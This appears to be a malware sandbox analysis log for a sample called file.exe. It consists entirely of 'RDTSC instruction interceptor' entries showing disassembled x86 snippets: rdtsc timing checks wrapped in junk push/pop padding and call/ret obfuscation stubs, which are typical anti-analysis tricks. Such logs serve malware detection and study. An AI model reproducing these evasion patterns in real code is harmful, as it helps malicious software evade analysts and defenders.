Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A3A0 second address: 58A3B7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F96F934F1E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F96F934F1E8h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A3B7 second address: 58A3D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F95D6D6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edx 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 pop edx 0x00000013 mov eax, dword ptr [eax] 0x00000015 push ebx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A3D8 second address: 58A3E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A3E8 second address: 58A3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A3EE second address: 58A480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 mov dword ptr [ebp+122D23EFh], edx 0x0000000d push 00000003h 0x0000000f sub esi, dword ptr [ebp+122D38BEh] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F96F934F1E8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov esi, dword ptr [ebp+122D39CEh] 0x00000037 push 00000003h 0x00000039 jng 00007F96F934F1ECh 0x0000003f sub esi, dword ptr [ebp+122D392Eh] 0x00000045 push A28ED3BFh 0x0000004a jmp 00007F96F934F1F6h 0x0000004f add dword ptr [esp], 1D712C41h 0x00000056 sub dword ptr [ebp+122D225Ch], esi 0x0000005c lea ebx, dword ptr [ebp+1245FFFCh] 0x00000062 or esi, 7F12A78Fh 0x00000068 xchg eax, ebx 0x00000069 jmp 00007F96F934F1EBh 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A480 second address: 58A486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A486 second address: 58A48B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A5E2 second address: 58A5E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A5E6 second address: 58A5EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A6AD second address: 58A6B7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F96F95D6D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C6B1 second address: 59C6E1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F96F934F1E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F96F934F1F0h 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F96F934F1F1h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A985C second address: 5A9860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9860 second address: 5A9864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9864 second address: 5A9870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9870 second address: 5A988A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F934F1F0h 0x00000007 jc 00007F96F934F1E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A988A second address: 5A9892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A99E7 second address: 5A99EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A99EB second address: 5A99FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F95D6D6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A99FA second address: 5A9A09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 jbe 00007F96F934F1E6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9B57 second address: 5A9B63 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F96F95D6D66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9FD1 second address: 5A9FDB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F96F934F1E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9FDB second address: 5A9FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F96F95D6D6Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9FEF second address: 5A9FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9FF5 second address: 5AA00C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F96F95D6D6Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA00C second address: 5AA012 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA57A second address: 5AA599 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jnl 00007F96F95D6D66h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F96F95D6D6Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA71E second address: 5AA74F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F934F1EEh 0x00000007 jmp 00007F96F934F1F1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F96F934F1E6h 0x00000016 jp 00007F96F934F1E6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA74F second address: 5AA759 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F96F95D6D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA759 second address: 5AA763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F96F934F1E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA9CA second address: 5AA9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F96F95D6D6Fh 0x0000000b popad 0x0000000c jmp 00007F96F95D6D73h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB1B2 second address: 5AB1C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F96F934F1F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB341 second address: 5AB345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB345 second address: 5AB34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB61A second address: 5AB61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB61E second address: 5AB624 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB624 second address: 5AB638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F96F95D6D6Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB638 second address: 5AB63D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AEC58 second address: 5AEC5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AEC5E second address: 5AEC88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F96F934F1F9h 0x0000000b pushad 0x0000000c popad 0x0000000d jg 00007F96F934F1E6h 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AEC88 second address: 5AEC94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F96F95D6D66h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4911 second address: 5B4916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4A57 second address: 5B4A5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4A5D second address: 5B4A61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4A61 second address: 5B4A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4A6F second address: 5B4A73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4A73 second address: 5B4A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7664 second address: 5B766A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B766A second address: 5B7675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7675 second address: 5B767B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B767B second address: 5B7680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7680 second address: 5B76A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F96F934F1E6h 0x0000000a jmp 00007F96F934F1F9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B782C second address: 5B7832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B79B4 second address: 5B79BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B79BA second address: 5B79C4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F96F95D6D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B79C4 second address: 5B79D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jo 00007F96F934F1E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B79D0 second address: 5B79D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7AFA second address: 5B7B2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F934F1F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F96F934F1F7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7FAB second address: 5B7FB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7FB1 second address: 5B7FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7FBC second address: 5B7FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8131 second address: 5B8139 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9F09 second address: 5B9F2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F961C6ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F96F961C6B3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9F2F second address: 5B9F4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F8D16A27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9F4D second address: 5B9F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F96F961C6A6h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edx 0x00000011 jns 00007F96F961C6A8h 0x00000017 pop edx 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b jmp 00007F96F961C6AAh 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 popad 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9F85 second address: 5B9F8F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F96F8D16A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAF3E second address: 5BAF44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAF44 second address: 5BAF48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBFA2 second address: 5BBFA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBFA7 second address: 5BBFF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F8D16A1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F96F8D16A18h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 movzx esi, bx 0x00000029 push 00000000h 0x0000002b mov dword ptr [ebp+122D2922h], ecx 0x00000031 push 00000000h 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F96F8D16A1Dh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCFFB second address: 5BD001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD001 second address: 5BD06A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 stc 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F96F8D16A18h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push ebx 0x00000027 mov dword ptr [ebp+122D25BEh], edx 0x0000002d pop edi 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007F96F8D16A18h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a cmc 0x0000004b xchg eax, ebx 0x0000004c pushad 0x0000004d jne 00007F96F8D16A18h 0x00000053 push eax 0x00000054 push edx 0x00000055 jns 00007F96F8D16A16h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD06A second address: 5BD076 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE57A second address: 5BE57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF07A second address: 5BF07E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF07E second address: 5BF0C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov di, ax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F96F8D16A18h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+12487323h] 0x0000002e push 00000000h 0x00000030 add si, 0DE6h 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jl 00007F96F8D16A16h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF0C2 second address: 5BF0DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F961C6B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BFAFF second address: 5BFB05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0578 second address: 5C0581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2257 second address: 5C226C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96F8D16A1Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C226C second address: 5C2270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2270 second address: 5C2274 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2274 second address: 5C228E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96F961C6B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C228E second address: 5C22CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F8D16A20h 0x00000007 jmp 00007F96F8D16A1Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jc 00007F96F8D16A1Ah 0x00000015 jmp 00007F96F8D16A1Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c jne 00007F96F8D16A16h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C22CE second address: 5C22D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5689A0 second address: 5689A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5689A8 second address: 5689AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5689AC second address: 5689B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4A1C second address: 5C4A3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F961C6B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F96F961C6A8h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5ED7 second address: 5C5EE1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F96F8D16A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5EE1 second address: 5C5EE6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C64F2 second address: 5C64F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7538 second address: 5C753E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
